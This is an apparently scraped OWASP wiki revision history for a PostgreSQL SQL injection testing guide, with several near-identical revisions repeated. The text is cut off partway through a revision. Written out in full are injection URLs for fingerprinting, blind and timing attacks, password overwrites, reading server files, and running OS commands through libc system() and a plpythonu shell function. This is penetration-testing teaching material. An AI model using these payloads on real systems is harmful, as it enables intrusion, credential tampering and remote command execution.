== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside<br />
DBMS data directory.<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29785OWASP Backend Security Project Testing PostgreSQL2008-05-25T15:55:15Z<p>Dbellucci: /* Dynamic Library */</p>
<hr />
<div>= Overview =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Description =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29784OWASP Backend Security Project Testing PostgreSQL2008-05-25T15:54:43Z<p>Dbellucci: /* Reading from a file */</p>
<hr />
<div>= Overview =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Description =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29783OWASP Backend Security Project Testing PostgreSQL2008-05-25T15:53:59Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Description =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'#</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29782OWASP Backend Security Project Testing PostgreSQL2008-05-25T15:53:16Z<p>Dbellucci: /* Dynamic Library */</p>
<hr />
<div>= Overview =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Description =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
